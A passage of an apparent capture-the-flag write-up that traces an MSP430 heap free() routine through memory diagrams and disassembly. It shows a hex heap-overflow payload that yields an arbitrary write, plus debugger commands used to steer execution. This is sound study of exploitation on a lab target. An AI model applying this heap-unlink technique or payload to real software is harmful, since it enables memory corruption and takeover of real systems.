Think about the ramifications of this for a moment. The last exploit has random padding bytes at *(PTR + 4).
023c aaaa aaaa 3240 00ff b012 1000 aaaa 0e24 9443 2100Fortunately, the dummy value is even, but imagine if different padding bytes had been arbitrarily selected—for example, 0x41 (ASCII 'A') instead of 0xAA.
023c 4141 4141 3240 00ff b012 1000 4141 0e24 9443 2100This change breaks the arbitrary write primitive and results in a crash.
insn address unaligned
CPUOFF flag set; program no longer running. CPU must now be reset.
This exploit is fragile. A trivial change in the padding bytes radically alters the outcome. This stumbling block could have slowed down the reverse engineering process, and it is vital to know about it before rearranging or mutating the payload (e.g., for IDS evasion purposes).
Default Execution Path
It is clear how to reach the code that triggers the arbitrary write primitive, but the rest of the algorithm is still opaque. Disregard the exploit and consider the code executed when neither of the conditions for the failing branches are satisfied. The code should take the following execution path.
The code does not take this conditional branch by default, so use debugger commands to force the algorithm down this path. The initial test payload is simple.
Username
aaaaPassword
bbbbThe top conditional block executes first.
Behavior
The words underlined below are the ones modifiable via a buffer overflow. 2408 + 4
┌──┐ ┌──────────────┐
│ ▼ │ ▼
│ ┌─────┴──┬────────┬────────┬──────────────────────────┐
└─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
└────────┴─────┬──┴─────┬──┴──────────────────────────┘
▲ │ │
┌────┘ │ │ ┌─────────┐ ┌────────────────┐
│ │ └►│CHECK LSB├─►│CONDITIONAL JUMP│
│ ┌───────────┘ └─────────┘ └────────────────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
▲
│ ┌────┬───────────────────────┐
┌─┴─┐ │451a│ mov @r15, r14 │
│R15│ ├────┼───────────────────────┤
└───┘ │451c│ mov 0x4(r14), r12 │
├────┼───────────────────────┤
│4520│ bit #0x1, r12 │
├────┼───────────────────────┤ ┌──┐
│4522│ jnz $+0x1c <free+0x36>│◄─┤PC│
└────┴───────────────────────┘ └──┘
This code will check the least significant bit on the third word of the previous block. The current dummy payloads fail to satisfy the following constraints without an overflow.
*(PTR + 4) % 2 == 0This payload thus skips the conditional block where the arbitrary write occurs. The next block to execute is below.
Again, the underlined words are the ones modifiable via a buffer overflow—they are at the same address as those in the previous diagram.
┌───┐
│R15│
└─┬─┘
│
▼
┌────────┬────────┬────────┬──────────────────────────┐
│ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
└────────┴─────┬──┴────────┴──────────────────────────┘
▲ │
┌────┘ │ ┌─────────┐ ┌────────────────┐
│ │ ┌►│CHECK LSB├─►│CONDITIONAL JUMP│
│ ┌───────────┘ │ └─────────┘ └────────────────┘
│ ▼ │
│ ┌────────┬────────┬─────┴──┬──────────────────────────┐
└─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
└─────┬──┴────────┴────────┴──────────────────────────┘
│ 241e + 4 ▲
└──────────────┘ ┌────┬───────────────────────┐
│453e│ mov 0x2(r15), r14 │
├────┼───────────────────────┤
│4542│ mov 0x4(r14), r13 │
├────┼───────────────────────┤
│4546│ bit #0x1, r13 │
├────┼───────────────────────┤ ┌──┐
│4548│ jnz $+0x18 <free+0x58>│◄─┤PC│
└────┴───────────────────────┘ └──┘
This code will check the least significant bit on the third word of the next block, for which the pseudocode is as follows.
*(*(&PTR + 2) + 4) % 2 == 0.The conditional check passes, and the following conditional block will execute.
The code taking that branch is not desirable for the sake of the experiment. Modify the data structure to alter execution flow—before it reaches conditional block 0x453e—using the following debugger command.
let 2438 = 1f9d
This command sets the least significant bit on this word.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9d │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
This modification causes the check at the end of conditional block 0x453e to pass, which will cause the code to skip running conditional block 0x454a and directly jump to 0x4560.
The code highlighted above pops R11 off the stack and returns, which means the only change to the data structure will be a single bit, located here.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9d │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
Again, given the above example payload, this is not what usually happens. The data structure is tweaked with debugger commands to result in this state.
Real Execution Path
Suppose the data structure is not modified using debugger commands, and execution proceeds unmolested. Observe what happens when the conditional jump to 0x454a occurs.
┌────────┬────────┬────────┬──────────────────────────┐
│ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
└────────┴─────┬──┴────────┴──────────────────────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ │
│ │ ┌───┬────┐
│ │ │R13│1f9c│
│ │ └───┴────┘
│ │ ▲ ▲SET
│ ▼ │ │EARLIER
│ ┌────────┬────────┬─┴────┴─┬──────────────────────────┐
└─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
┌────┬───────────────────────┐ ┌──┐
│454a│ add 0x4(r15), r13 │◄─┤PC│
├────┼───────────────────────┤ └──┘
│454e│ add #0x6, r13 │
├────┼───────────────────────┤
│4552│ mov r13, 0x4(r15) │
├────┼───────────────────────┤
│4556│ mov 0x2(r14), 0x2(r15)│
├────┼───────────────────────┤
│455c│ mov r15, 0x0(r14) │
└────┴───────────────────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
└────────┴─────┬──┴─┬────┬─┴──────────────────────────┘
▲ │ │ │
┌────┘ │ ▼ ▼
│ │ ┌────┐
│ ┌───────────┘ │0020│
│ │ └────┘
│ │ +
│ │ ┌───┬────┐
│ │ │R13│1f9c│
│ │ └───┴────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
┌────┬───────────────────────┐
│454a│ add 0x4(r15), r13 │
├────┼───────────────────────┤ ┌──┐
│454e│ add #0x6, r13 │◄─┤PC│
├────┼───────────────────────┤ └──┘
│4552│ mov r13, 0x4(r15) │
├────┼───────────────────────┤
│4556│ mov 0x2(r14), 0x2(r15)│
├────┼───────────────────────┤
│455c│ mov r15, 0x0(r14) │
└────┴───────────────────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
└────────┴─────┬──┴────────┴──────────────────────────┘
▲ │
┌────┘ │
│ │ ┌────┐
│ ┌───────────┘ │0006│
│ │ └────┘
│ │ +
│ │ ┌───┬────┐
│ │ │R13│1fbc│
│ │ └───┴────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
┌────┬───────────────────────┐
│454a│ add 0x4(r15), r13 │
├────┼───────────────────────┤
│454e│ add #0x6, r13 │
├────┼───────────────────────┤ ┌──┐
│4552│ mov r13, 0x4(r15) │◄─┤PC│
├────┼───────────────────────┤ └──┘
│4556│ mov 0x2(r14), 0x2(r15)│
├────┼───────────────────────┤
│455c│ mov r15, 0x0(r14) │
└────┴───────────────────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│ 2408 │ 2434 │ 1fc2 │ bbbb 0000 0000 0000 .... │
└────────┴─────┬──┴────────┴──────────────────────────┘
▲ │ ▲ ▲
┌────┘ │ │ │
│ │ │ │
│ ┌───────────┘ │ │
│ │ │ │
│ │ │ │
│ │ ┌───┼────┤
│ │ │R13│1fc2│
│ │ └───┴────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
┌────┬───────────────────────┐
│454a│ add 0x4(r15), r13 │
├────┼───────────────────────┤
│454e│ add #0x6, r13 │
├────┼───────────────────────┤
│4552│ mov r13, 0x4(r15) │
├────┼───────────────────────┤ ┌──┐
│4556│ mov 0x2(r14), 0x2(r15)│◄─┤PC│
├────┼───────────────────────┤ └──┘
│455c│ mov r15, 0x0(r14) │
└────┴───────────────────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│ 2408 │ 2408 │ 1fc2 │ bbbb 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
▲ ▲ ▲
┌────┘ │ │
│ │ │
│ │ │
│ │ │
│ │ │
│ │ │
│ │ │
│ │ │
│ │ │
│ ┌────────┬─┴────┴─┬────────┬──────────────────────────┐
└─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
┌────┬───────────────────────┐
│454a│ add 0x4(r15), r13 │
├────┼───────────────────────┤
│454e│ add #0x6, r13 │
├────┼───────────────────────┤
│4552│ mov r13, 0x4(r15) │
├────┼───────────────────────┤
│4556│ mov 0x2(r14), 0x2(r15)│
├────┼───────────────────────┤ ┌──┐
│455c│ mov r15, 0x0(r14) │◄─┤PC│
└────┴───────────────────────┘ └──┘
┌────────┬────────┬────────┬──────────────────────────┐
│ 2408 │ 2408 │ 1fc2 │ bbbb 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
▲
┌────┘
│
│
│
│
│
│
│
│
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
▲ ▲
│ │ ┌────┬───────────────────────┐
┌───┼────┤ │454a│ add 0x4(r15), r13 │
│R15│241e│ ├────┼───────────────────────┤
└───┴────┘ │454e│ add #0x6, r13 │
├────┼───────────────────────┤
│4552│ mov r13, 0x4(r15) │
├────┼───────────────────────┤
│4556│ mov 0x2(r14), 0x2(r15)│
├────┼───────────────────────┤
│455c│ mov r15, 0x0(r14) │
├────┼───────────────────────┤ ┌──┐
│....│ ..................... │◄─┤PC│
└────┴───────────────────────┘ └──┘
The algorithm essentially adds the third words of the current and next block together (plus an additional six) and writes the value back to the third word of the current chunk. It then updates two different pointers.
Taking It From The Top
The following blocks are the non-default execution paths.
These two paths run depending on the least significant bit of the following two words, respectively.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │ ┌─────────┐ ┌────┐ ┌─────────────────┐
│ │ │ ┌►│CHECK LSB├─►│FAIL├─►│NO JUMP TO 0x4524│
│ ┌──┐ │ │ │ └─────────┘ └────┘ └─────────────────┘
│ │ ▼ ▼ ▼ │
│ │ ┌────────┬────────┬─────┴──┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │ ┌─────────┐ ┌────┐ ┌──────────────┐
│ │ │ ┌►│CHECK LSB├─►│PASS├─►│JUMP TO 0x454a│
│ │ ┌───────────┘ │ └─────────┘ └────┘ └──────────────┘
│ │ ▼ │
│ │ ┌────────┬────────┬─────┴──┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
No branch to 0x4524 happens in the above case, but the branch to 0x454a does. This behavior is only a partial picture of the algorithm—introspecting the entire process requires executing the code at both addresses 0x4524 and 0x454a. Achieving this requires manually unsetting the least significant bit of the third word in the previous block.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0020 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
Supply short dummy values as the username and password, and unset the bit in question using a debugger command.
Username
aaaaPassword
bbbbDebug Commands
break free; c; let 240c = 0020The process is then as follows.
┌───┐ ┌───┬────┐
┌──────┐ │R14│ │R12│0020│
│ │ └─┬─┘ └───┴────┘
│ ┌──┐ │ │ ▲ ▲
│ │ ▼ ▼ ▼ │ │
│ │ ┌────────┬────────┬─┴────┴─┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0020 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ R14 │
│ ┌────┘ ▲ ▲ │ ┌───────────────────────►┌────┬───┐
│ │ │ │ │ │ │0020│R13│
│ │ ┌──┼─┼──────┘ │ ┌──────────────────►└────┴───┘
│ │ ▼ │ │ │ │
│ │ ┌─────┴─┴┬────────┬─┴────┴─┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ ▲ │
│ ┌────┘ └─ R15 │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘ ┌────┬───────────────────────┐ ┌──┐
│4524│ add #0x6, r12 │◄─┤PC│
├────┼───────────────────────┤ └──┘
│4528│ add r13, r12 │
├────┼───────────────────────┤
│452a│ mov r12, 0x4(r14) │
├────┼───────────────────────┤
│452e│ mov 0x2(r15), 0x2(r14)│
├────┼───────────────────────┤
│4534│ mov 0x2(r15), r13 │
├────┼───────────────────────┤
│4538│ mov r14, 0x0(r13) │
├────┼───────────────────────┤
│453c│ mov @r15, r15 │
└────┴───────────────────────┘
This diagram depicts the initial state after branching to the conditional block at address 0x4524.
┌───┬────┐ ┌────┐
┌──────┐ │R12│0020│ + │0006│
│ │ └───┴────┘ └────┘
│ ┌──┐ │
│ │ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0020 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘ ┌────┬───────────────────────┐
│4524│ add #0x6, r12 │
├────┼───────────────────────┤ ┌──┐
│4528│ add r13, r12 │◄─┤PC│
├────┼───────────────────────┤ └──┘
│452a│ mov r12, 0x4(r14) │
├────┼───────────────────────┤
│452e│ mov 0x2(r15), 0x2(r14)│
├────┼───────────────────────┤
│4534│ mov 0x2(r15), r13 │
├────┼───────────────────────┤
│4538│ mov r14, 0x0(r13) │
├────┼───────────────────────┤
│453c│ mov @r15, r15 │
└────┴───────────────────────┘
First, the algorithm adds six to R12. Notice that the overflowed words before the password buffer are also six bytes.
┌───┬────┐ ┌───┬────┐
┌──────┐ │R12│0026│ + │R13│0020│
│ │ └───┴────┘ └───┴────┘
│ ┌──┐ │
│ │ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0020 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘ ┌────┬───────────────────────┐
│4524│ add #0x6, r12 │
├────┼───────────────────────┤
│4528│ add r13, r12 │
├────┼───────────────────────┤ ┌──┐
│452a│ mov r12, 0x4(r14) │◄─┤PC│
├────┼───────────────────────┤ └──┘
│452e│ mov 0x2(r15), 0x2(r14)│
├────┼───────────────────────┤
│4534│ mov 0x2(r15), r13 │
├────┼───────────────────────┤
│4538│ mov r14, 0x0(r13) │
├────┼───────────────────────┤
│453c│ mov @r15, r15 │
└────┴───────────────────────┘
Next, it adds R12 and R13 together. Recall that each register was initially set to the third word of the current and previous block, respectively.
┌───┬────┐
┌──────┐ │R12│0046│
│ │ └───┼────┤
│ ┌──┐ │ │ │
│ │ ▼ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0046 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘ ┌────┬───────────────────────┐
│4524│ add #0x6, r12 │
├────┼───────────────────────┤
│4528│ add r13, r12 │
├────┼───────────────────────┤
│452a│ mov r12, 0x4(r14) │
├────┼───────────────────────┤ ┌──┐
│452e│ mov 0x2(r15), 0x2(r14)│◄─┤PC│
├────┼───────────────────────┤ └──┘
│4534│ mov 0x2(r15), r13 │
├────┼───────────────────────┤
│4538│ mov r14, 0x0(r13) │
├────┼───────────────────────┤
│453c│ mov @r15, r15 │
└────┴───────────────────────┘
It then writes the total sum back to the third word of the previous block.
┌──────┐
│ │
│ ┌──┐ │ ┌────────────────────────────────────────┐
│ │ ▼ ▼ │ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴────────┴────────┴──────────────────────────┘ │
│ ▲ ▲ ▲ │
│ ┌────┘ │ │ │
│ │ │ │ │
│ │ │ │ │
│ │ │ │ │
│ │ ┌────────┬─┴────┴─┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ ▼ │
│ │ │ │
│ │ ┌───────────┴────────────────────────────────────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │ ┌────┬───────────────────────┐
└──────────────────┘ │4524│ add #0x6, r12 │
├────┼───────────────────────┤
│4528│ add r13, r12 │
├────┼───────────────────────┤
│452a│ mov r12, 0x4(r14) │
├────┼───────────────────────┤
│452e│ mov 0x2(r15), 0x2(r14)│
├────┼───────────────────────┤ ┌──┐
│4534│ mov 0x2(r15), r13 │◄─┤PC│
├────┼───────────────────────┤ └──┘
│4538│ mov r14, 0x0(r13) │
├────┼───────────────────────┤
│453c│ mov @r15, r15 │
└────┴───────────────────────┘
Next, it updates the following pointer.
┌──────┐
│ │
│ ┌──┐ │ ┌────────────────────────────────────────┐
│ │ ▼ ▼ │ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴────────┴────────┴──────────────────────────┘ │
│ ▲ │
│ ┌────┘ ┌─────►┌────┬───┐ │
│ │ │ │2434│R13│ │
│ │ │ ┌►└────┴───┘ │
│ │ │ │ │
│ │ ┌────────┬─┴────┴─┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ ▲ │ │
│ ┌────┘ ▼ │
│ │ │ │
│ │ ┌───────────┴────────────────────────────────────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │ ┌────┬───────────────────────┐
└──────────────────┘ │4524│ add #0x6, r12 │
├────┼───────────────────────┤
│4528│ add r13, r12 │
├────┼───────────────────────┤
│452a│ mov r12, 0x4(r14) │
├────┼───────────────────────┤
│452e│ mov 0x2(r15), 0x2(r14)│
├────┼───────────────────────┤
│4534│ mov 0x2(r15), r13 │
├────┼───────────────────────┤ ┌──┐
│4538│ mov r14, 0x0(r13) │◄─┤PC│
├────┼───────────────────────┤ └──┘
│453c│ mov @r15, r15 │
└────┴───────────────────────┘
It copies the second word of the current block to R13 after that, which is not immediately relevant.
┌──────┐
│ │
│ ┌──┐ │ ┌────────────────────────────────────────┐
│ │ ▼ ▼ │ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴────────┴────────┴──────────────────────────┘ │
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ │
│ │ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ ▼ │
│ │ │
│ ┌───────────┴────────────────────────────────────────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
├─◄─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ ▲ │
│ │ │ │ ┌────┬───────────────────────┐
└─◄───┼─◄──┼─◄─────┘ │4524│ add #0x6, r12 │
│ │ ├────┼───────────────────────┤
┌───┼────┤ │4528│ add r13, r12 │
│R14│2408│ ├────┼───────────────────────┤
└───┴────┘ │452a│ mov r12, 0x4(r14) │
├────┼───────────────────────┤
│452e│ mov 0x2(r15), 0x2(r14)│
├────┼───────────────────────┤
│4534│ mov 0x2(r15), r13 │
├────┼───────────────────────┤
│4538│ mov r14, 0x0(r13) │
├────┼───────────────────────┤ ┌──┐
│453c│ mov @r15, r15 │◄─┤PC│
└────┴───────────────────────┘ └──┘
Next, it overwrites the first word of the third block with a pointer to the beginning of the previous block. This step is where the arbitrary write occurs with an exploit payload.
┌───┐
┌──────┐ │R15│
│ │ └─┬─┘
│ ┌──┐ │ │ ┌────────────────────────────────────────┐
│ │ ▼ ▼ ▼ │ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴────────┴────────┴──────────────────────────┘ │
│ ▲ │
│ ┌────┘ │
│ │ R15 │
│ │ ▲ ▲ │
│ │ │ │ │
│ │ ┌─────┴─┴┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ ▼ │
│ │ │
│ ┌───────────┴────────────────────────────────────────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
├─◄─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │ ┌────┬───────────────────────┐
└─◄────────────────┘ │4524│ add #0x6, r12 │
├────┼───────────────────────┤
│4528│ add r13, r12 │
├────┼───────────────────────┤
│452a│ mov r12, 0x4(r14) │
├────┼───────────────────────┤
│452e│ mov 0x2(r15), 0x2(r14)│
├────┼───────────────────────┤
│4534│ mov 0x2(r15), r13 │
├────┼───────────────────────┤
│4538│ mov r14, 0x0(r13) │
├────┼───────────────────────┤
│453c│ mov @r15, r15 │
├────┼───────────────────────┤ ┌──┐
│....│ ..................... │◄─┤PC│
└────┴───────────────────────┘ └──┘
Last, it loads the first word of the current block into R15, pointing R15 to the beginning of the previous block.
It is interesting to note that it is now possible to get from the first block to the last without traversing the pointers in the middle one. From the perspective of either of the other two, it effectively does not exist.
┌──────┐
│ │
│ ┌──┐ │ ┌────────────────────────────────────────┐
│ │ ▼ ▼ │ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴────────┴────────┴──────────────────────────┘ │
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ │
│ │ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ ▼ │
│ │ │
│ ┌───────────┴────────────────────────────────────────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
├─◄─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │
└─◄────────────────┘
┌──────┐
│ │
│ ┌──┐ │ ┌────────────────────────────────────────┐
│ │ ▼ ▼ │ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴────────┴────────┴──────────────────────────┘ │
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌────────────────────────────────────────────────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │
└──────────────────┘
This observation is interesting because it implies that the data structure no longer includes the middle block—which has been "freed" from it.
After this process, the conditional check for the next branch occurs and passes.
┌──────┐
│ │
│ ┌──┐ │ ┌────────────────────────────────────────┐
│ │ ▼ ▼ │ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴────────┴────────┴──────────────────────────┘ │
│ ▲ │
│ ┌────┘ │
│ │ │
